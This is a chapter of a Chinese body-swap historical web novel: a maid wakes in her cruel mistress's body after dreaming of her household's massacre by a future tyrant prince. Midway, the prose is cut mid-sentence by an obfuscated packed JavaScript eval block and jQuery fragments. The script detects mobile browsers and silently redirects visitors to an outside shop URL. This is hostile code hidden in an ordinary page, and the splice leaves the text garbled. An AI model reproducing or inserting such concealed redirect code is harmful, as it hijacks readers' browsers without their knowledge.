寒风冷冽,血色滔天。
赤红的火光染红了纳兰府的天际,往日华丽的府邸彻底沦为人间炼狱。
下人与丫鬟们排成长队低着头,面色灰白,麻木地等待着发落。
视角一转,几颗断头正从石阶上滚下,定睛一看,竟是纳兰府的主子们。
他们就这么在地上,死不瞑目,眼珠上遍布红血丝,目光中尽是不甘。
高台龙椅上,一身玄色长袍的帝王正懒懒靠在椅背上,眉眼冷戾嗜血,饶有兴趣盯着这一切。
只一眼,谢晏清仿佛浑身血液倒流,僵在原地,坐在龙椅上的男人,分明是如今寄身于纳兰府,任人可欺的废太子萧闻煜。
他转过头,直直盯着这边的方向,笑得阴狠:“下一个,到你了。”
与此同时,地上的几颗头颅不约而同转过来,嘴巴一张一合,发出凄厉的悲鸣:
“救救我们!救救纳兰府!”
“啊!!!”谢晏清心口顿时炸起一阵剧痛,她猛地惊醒,浑身上下早已冷汗涔涔。
那个惊骇的梦带给她的感觉过于真实,她的心头涌上一阵心悸。
直觉告诉她,这不是梦,萧闻煜眼底对纳兰府滔天的恨意,纳兰府覆灭时漫天的火光,都过于真实。
这时,如月的声音从耳畔响起:“小姐,该起床了。”
小姐?
谢晏清倏地愣住。
她抬眼环顾四周,这才发现四周极尽奢华,与自己平日里居住的简陋下房简直天壤之别。
她几乎是立刻就反应了过来,这分明是小姐纳兰清的房间!
她慌忙起身,不料脚下一软,朝榻下直直滚了下去。
“小姐,你没事吧?我现在就去叫人传大夫过来帮您瞧瞧。”如月大惊,赶忙上前,想将她搀扶起来。
谢晏清下意识抬手挡住了自己的脸,不敢让如月看见。
“不必!”话出口的瞬间,她自己都愣住了。
娇软的声音落入她耳中,熟悉又陌生,这分明就是小姐纳兰清的声音。
如月将她扶到铜镜前,她看清镜中人的脸时,猛地瞪大了双眼。
镜中的少女一双杏眼炯炯有神,柳叶眉,鼻梁高挺秀气,肤若凝脂,整个人精致又高贵,此刻脸上还带着刚睡醒的倦怠。
谢晏清缓慢抬手,有些不可思议地摸上这张明艳的脸,只得被迫接受了这个荒诞的事实。
一觉醒来,她一介丫鬟,竟然穿到了自家大小姐纳兰清身体里。
一瞬间荒谬,惊悚,难以置信一股脑涌上她的心头。
她极力让自己冷静下来,可指节仍是控制不住地发抖
既然此刻她在小姐身体里,那想必真正的小姐,已经是到了她的身体里。
周遭丫鬟跪了一地,心中皆是无比惶恐。小姐平日里最是喜怒无常,起床总会一番折腾,不是摔东西就是平白无故发火,今日早上她从床上摔下来,连句责罚都没,安静地反常,莫不是还藏了更狠的在后头?
想到这,几名丫鬟的头更低了。
谢晏清转身,看到了跪在地上的一群丫鬟,上前想将她们都扶起来。
即使现在换了个小姐的壳子,但她骨子里仍然是丫鬟,看着昔日的同伴跪在自己面前,她内心还是难以接受。
她凑近时低头,却看见了她们颤抖的膝盖与惶恐的眼神,动作骤然止住。
不行。
她现在是小姐的身份,一旦性格举止反常,身份暴露,老爷爱女心切,心狠手辣,她这冒牌小姐,到时肯定要被千刀万剐。
眼下,还是要先瞒着这件事,一定不能走漏了风声。
谢晏清眼神暗了暗,收回手,学着印象中小姐平时不耐烦的语调对她们说道:“你们都起身吧。”
如月愣了愣,赶忙起身,与其他几名丫鬟上前为她梳洗打扮。
谢晏清不习惯有人伺候自己,便让如月放下梳子,与其他人一起退下。
待其他人退下,她安静坐在梳妆台前,从一旁堆得如同小山一般珠光宝气的珠宝里左看右看,最后从底部挑出一只稍微素净一点的发簪。
谢晏清麻利地洗漱好,干净利落地为自己挽了一个简单的发髻。
她刚收拾完,就听到门外传来“砰”的一声巨响,房门被重重推开。
谢晏清抬头,一个身着翠绿衣裙的丫鬟闯了进来,她面色凌厉,眉梢上充满了怒气,正是谢晏清真正的身子——丫鬟碧桃。
“碧桃!”她厉声质问,眼底的暴怒几乎要溢出来,“是不是你搞的鬼,为什么我今日一起来就变成了这样,我不管你用什么方法,你赶快给我弄回来!”
门外几名下人紧随其后,嘴里骂骂咧咧。
“大胆!不知礼数的东西,小姐的闺房也是你能擅闯的?”
几只粗壮的手猛地擒住她的手腕,纳兰清剧烈挣扎着,手腕都泛了红,她声嘶力竭地嘶吼:“你们都放开我!你们都被这该死的妖女蒙骗了,她肯定是使了什么见不得人的妖法,我才是真正的小姐……”话未说完,一巴掌用力扇过来,她被打得偏过头去,脸颊瞬间高高肿起。
掌事嬷嬷甩了甩手腕,面色铁青,“没礼数也就罢了,如今竟然还敢污蔑小姐,来人,速去禀报老爷,拖下去,二十大板,罚三月月钱,让她好好长长记性。”
“你们不能这么对我,你们这群眼瞎的狗奴才,等我换回原来的身体,我定要叫爹爹狠狠治你们的罪,再扒了你们的皮!”纳兰清目光冰冷,手指缓缓扫过所有人,“到时候,你们一个都逃不掉!”
“还敢顶嘴,你们都是干什么吃的,还不快……”
“等等。”谢晏清心头一紧,赶忙开口制止住眼前混乱的场面。
看到众人都齐齐转头盯着她,谢晏清不由得咽了咽口水,强装镇定道:“你们都退下,此事我自行处理。”
“可是小姐……”
“我自有定夺,你们都退下吧。”
众人不敢违逆,纵然心中再多疑虑,也只能退下。
房门合上,屋内瞬间归于死寂。
纳兰清从地上起来,脸上又恢复了高高在上的样子,她直接坐到梳妆台前,盯着镜中那副陌生的丫鬟样貌,目眦欲裂,下一瞬,毫无征兆地,她猛地抬手,一把将桌上名贵的珠宝首饰一并扫落,珠玉碎了满地,发生刺耳的声响。
谢晏清只安静地跪在一边,一言不发。
突然,纳兰清大步上前,用力掐住谢晏清的下颌,逼迫她抬头与自己对视,“你还没有与我解释清楚,这一切到底是怎么回事。”
眼前那张清秀的脸,明明长相没有任何攻击力,可周身散发出的气势逼人,说出口的话都带着与生俱来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848223|211770||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的优越感,与记忆中那个骄纵跋扈的小姐如出一辙。谢晏清当场软了腿,她磕磕巴巴解释道:“奴婢……奴婢也不知。”
话音刚落,面前的人眉毛皱起,面上震怒,她扬起手,下一秒就要抽过来,谢晏清害怕地闭上了眼。
过了一会儿,预想中的巴掌并没有落下,谢晏清慢慢睁开眼,与纳兰清冷冽的视线对上,她嘴唇忍不住哆嗦。
纳兰清只是在她脸上不轻不重地拍了两下,语气凉飕飕的。
“瞧你这下贱模样,套上了本小姐的皮囊又如何,骨子里还是下人,用你的手打我的脸我都嫌晦气。”
面前那双眼明明是笑着的,可谢晏清却只能感到其中浓浓的厌恶。
纳兰清往后靠了靠,冷声道:“还不快起来,本小姐这尊贵的身子也是能用来下跪的?”
谢晏清飞快起身,恭敬走到纳兰清跟前。
“你最好是马上去和爹爹说清楚,若有欺瞒,我定要你生不如死。”
“是,奴婢这就去。”谢晏清垂眸应下。
离开房间,她胸膛剧烈起伏,久久不能缓过神来。
小姐的命令,她不敢违抗,定了定神,马不停蹄往上房走去。
走到回廊拐角处,一个没留神,她不小心撞上了一道清瘦身影。
丫鬟本能先于思绪,谢晏清下意识躬身行礼。
“呵。”头顶传来一声冷笑,谢晏清猛然抬头。
来人身着一身单薄的玄色衣袍,容貌俊朗,神情淡漠,眉目间似含了一团化不开的墨,冷冽又疏离。
是萧闻煜。
那个梦带来的心悸感觉一瞬间又涌了上来,谢晏清往后退了几步。
萧闻煜垂眸看她,眸色讥讽:“今日大小姐竟会给我行礼,还真是稀奇。”
糟了!
谢晏清心头一慌,瞬间回过神来。
她忘了自己此时此刻是大小姐,大小姐从前见了萧闻煜,别说行礼,正眼都不屑于看一眼。
可对着对面未来的暴君,她实在没胆子对他做出什么折辱的事。
她直起身,语无伦次地辩解:“你你你……你不要乱说,我就是一时脚滑,才没有给你行礼,是你看错了!”
“哦?这么看来大小姐摔倒时姿态都如此优美,竟是与行礼的姿态如出一辙。”
“那一定是你看错了,反正我没有。”谢晏清冷哼一声,转身欲继续走了。
转身时,她的手肘不小心磕上了萧闻煜的腰,萧闻煜闷哼一声,面色发白,腰间血瞬间渗了出来,玄色衣袍洇湿一片。
谢晏清想起,这是萧闻煜前几日惹纳兰清不快,纳兰清一时恼羞成怒拿鞭子抽的,时候她还吩咐,不准任何人送药。
看着他痛苦的神色,谢晏清心头一紧,下意识问道:“你没事吧?”
指尖刚碰到他的衣角,便被他狠狠挥开
萧闻煜躬身捂着腰,闻言抬头冷笑:“大小姐何时学会关心我了?怎么,我死了,你不是会更高兴么?”
说完,不再看谢晏清,直直转身离去。
只留下谢晏清站在原地,无措地攥着衣摆。
“我只是……我只是想看看你的伤……”她小声嘟囔。
“清儿也是你能欺的?”
一道凛冽的男声穿过重重回廊,将萧闻煜与谢晏清钉在原地。